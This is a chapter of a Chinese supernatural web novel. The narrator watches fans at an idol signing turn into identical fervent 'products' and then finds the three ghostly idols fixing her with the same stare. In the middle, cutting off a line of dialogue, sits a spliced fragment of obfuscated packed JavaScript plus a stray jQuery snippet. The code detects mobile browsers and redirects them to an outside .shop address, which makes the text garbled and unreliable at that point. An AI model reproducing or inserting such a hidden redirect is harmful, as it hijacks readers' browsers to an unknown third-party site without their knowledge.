我发现了。
真正的重点不是白玻璃，不是沈栖迟。
是这群粉丝。
她们才是真正的流水线商品。
无论她们平时是怎样的人，做什么工作，穿什么衣服，有什么脾气，长什么样子，只要站到这里，只要看向白玻璃，看向沈栖迟，就会被迅速加工成统一制式的“粉丝”。
狂热的，兴奋的，火热的，甚至是轻微扭曲的。
一模一样的表情燃烧在她们脸上。
即使她们穿着不同的外套，踩着不同高度的高跟鞋，背着不同价位的包，有着不同的眉眼，不同的鼻梁，不同的嘴唇。
但是她们的“脸”是一样的。
她们才是这条流水线最后的成品。
白玻璃站在中间，像传送带起点上那套永远不会出错的模具。粉丝们从四面八方走进去，再带着同一种高热、同一种眩晕、同一种幸福得近乎痉挛的神情走出来。像一批批刚刚完成压膜和喷漆的商品，外壳还保留着各自原有的花纹，内里却已经被统一得很彻底。
想到这里，我反而有点没劲了。
如果沈栖迟作为鬼的能力，就只是致命吸引力和群体狂热效应，那也有点太无趣了。
作为一只鬼，他的鬼生目标总不能是狠狠干饭、狠狠干活、狠狠捞金，然后顺便投资开店，最终成为集团总经理吧。
这也太现实了。
太人类了。
而且说到底，命案到现在也只发生过一起。
死的还是沈栖迟自己。
虽然这也不一定能算“死”。
看金毛爱豆现在这副样子，更像换号。
旧号出事，废了，新号顶上来，名字、路线、表情管理、营业逻辑全部一键继承，连粉丝情绪都能无缝同步。论可持续性竭泽而渔还得看我们现代娱乐工业。
而且，沈栖迟这能力对本来就对他不感兴趣的人，似乎作用有限。
或者说，收效甚微。
比如我。
我坐在咖啡店里，冷静地刷了几个小时手机，喝了三杯咖啡，上了八次厕所，中间没事干还顺便脑内研究了一下他和他那群狂热信徒的组织架构。整个过程里，我确实一直在围着他转。
可我又很清楚，这种“围着他转”并不正常。
我明明是个感情淡漠的人。
正常情况下，我对一个死掉的男爱豆不应该有这么持久的注意力。哪怕他长得确实不错，哪怕他身上确实鬼得有趣，但讲道理，哥三玩“你爱我我爱你”实际上对我根本毫无影响。
可这几天，我一直在想他。
一直在看他。
一直在顺着他这条线思考。
要知道，好奇也算被吸引的一种。
想到这里，我终于后知后觉地品出一点不对味来。
确实不太像我自己了。
我为什么要在意他？
毕竟他总不可能从天而降杀了我。
总结来说，不如林见秋一根。
无论是神秘气质，还是外貌，林见秋都能把这沈家三兄弟一起秒了。
想到林见秋，我原本对屏幕里那三张笑脸生出的那点研究欲，顿时被冲淡了不少。
还会再见吧，林见秋。
毕竟我是这个灵异恐怖故事的主角。
而你可是这个故事的BOSS。
和你比起来，沈栖迟这条线忽然就显得没那么刺激了。
在意识到的瞬间，我对林见秋的探索欲，完全压过了对沈栖迟的兴趣。
于是接下来的一个小时，我在咖啡店里爽刷手机，零零散散地收集着可能和他有关的讯息。
唐梨中间发消息喊过我一次。
我起身朝外探了一眼，发现人还是很多。那片中庭依旧在发热，依旧在嗡嗡作响，依旧有女孩举着手机、红着脸、踮着脚往前挤。于是我又若无其事地坐了回去。
这一坐，又多坐了两个多小时。
因为中间还不断有人陆陆续续加进来。
像某种排队没有截止时间的免费投胎活动。
其中不乏很多“纯路人”——人类的从众欲确实很顽强，尤其当它披上“机会难得”“来都来了”“只差一点”“马上就到我了”这种体面外衣以后，甚至显得有几分高尚。
我中途出去上厕所的时候，远远朝展台那边望过一眼。
最上方屏幕里，三张完美的笑脸还在轮流放大。
看久了，我越发确定沈栖迟肯定不是人。
毕竟人类哪有这么折腾的。
我记得地铁上那两个女高中生说过，中午开始排，下午正式进场。也就是说，他们从下午一路笑到晚上，面对一波接一波的粉丝，握手，签名，对视，营业，重复一样的动作，重复一样的表情，重复一样的语气，到现在还没彻底烂掉。
这已经不属于敬业了。
这鬼太有信念了。
最终，到了晚上九点半。
哥仨面前终于只剩四个人。
金色那边两个。
另外两个各一个。
我看了看场上配置，秉持着“来都来了”的基本原则，还是排了金色的队。
金色在中间。
粉色在左边。
棕色在右边。
粉色和棕色前面已经没人了。明明暂时没有粉丝，他们却还是带着笑，目视前方，一动不动地维持着那种随时准备迎接下一个人的状态。
这个状态我见过。
加班加狠了就是这样。
身体还坐在工位上，姿势也很端正，眼睛也还睁着，表面看起来甚至像仍然在认真工作。但灵魂早就飘了，飘得很高，可能已经在公司楼顶吹风，或者在家里洗完澡躺床上了。
我前面那位粉丝很快结束了她的流程。
她下台时溜得飞快。明明看穿着已经是个成熟女社畜了，踩着高跟鞋，却还是捂着脸一路小跑，边跑边压着嗓子尖叫，整个人仿佛瞬间回到了十六岁，青春活力得有点不顾脚踝死活。
有一说一。
看着她这副模样，我都有点累。
轮到我了。
我走上前，把握手券扔进旁边那个已经溢出来的篮子里。里面一堆纸片挤在一起，边角翻起，像某种批量回收的情绪凭证。
然后我很平淡地开口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745276|209266||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“握手就不必了。”
“大家都挺累的，给我签个名吧。”
说这句话的时候，我没看金毛爱豆。
我在看商场门口。
商场十点关门。整整一个下午加晚上，热闹散得七七八八以后，整个百货商场都显出一种激情退潮后的疲惫。灯还亮着，地砖也还亮着，店员们还维持着营业姿态，但那种属于营业场的空虚感已经浮上来了，像宴席过后还没来得及收拾的桌面。
我一边发呆，一边盘算等会儿怎么回去。
地铁应该还赶得上。
要是实在懒得挤，也可以打车。虽然九点半的中心城商场门口一向不好打，但也不至于沦落到露宿街头。更何况我今晚已经续了两杯咖啡，加起来总共喝了三杯。还好我对咖啡因基本免疫，不然现在大概已经在原地灵魂出窍了，晚上回去也不用睡觉，直接睁眼等天亮。
我就这么走神了几秒。
然后，猛地被过于寂静的寂静惊醒了。
太安静了。
按理说，这种流程不该停这么久。
哪怕对方累得只剩肌肉记忆，也至少该营业性地笑一下，说一句“好的”，或者“谢谢支持”，再或者更工业化一点，“今天辛苦了”。
可什么都没有。
没有回应。
没有落笔声。
甚至连一点很轻的营业尾音都没有。
我皱了皱眉，回头看向金毛爱豆。
然后我愣住了。
他在盯着我。
目不转睛。
那双漂亮得很标准的眼睛睁得很大，像某种被骤然点亮的玻璃器皿，眼底干净，明亮，却空得有点不正常。他双手撑在桌面上，上半身微微前倾，抬着头，就这么以一种近得有点冒犯的姿势死死盯着我。
那眼神让我第一反应不是不适。
是莫名其妙。
以及一点该死的眼熟。
我盯着他看了两秒，才想起来自己在哪里见过。
是了。
那些粉丝看他们的时候，也是这种表情。
狂热。
专注。
像要把整个人连皮带骨一起扑过去，又像只靠看着就已经得到了巨大满足。
虽然金毛这张脸本身还是很漂亮，没有那些粉丝脸上因为情绪过热而挤出来的轻微扭曲，但这个眼神是一模一样的。
不。
比那更糟一点。
因为粉丝站在台下，再怎么狂热，也隔着一层距离，隔着人群，隔着安保，隔着营业流程。
可他现在就在我面前。
离我很近。
近到我甚至能看清他睫毛投下来的影子，看清他因为这个前倾动作而绷起的一点脖颈线条，看清他嘴角那点还没来得及收回去的、属于营业微笑的残余弧度。
而更可怕的是。
不止他。
我视线一偏，看向旁边。
粉毛和棕毛也一样。
一模一样的姿势。
一模一样的表情。
他们都撑着身子，微微前倾，抬着下巴，隔着各自面前那点距离，就这么直勾勾地看着我。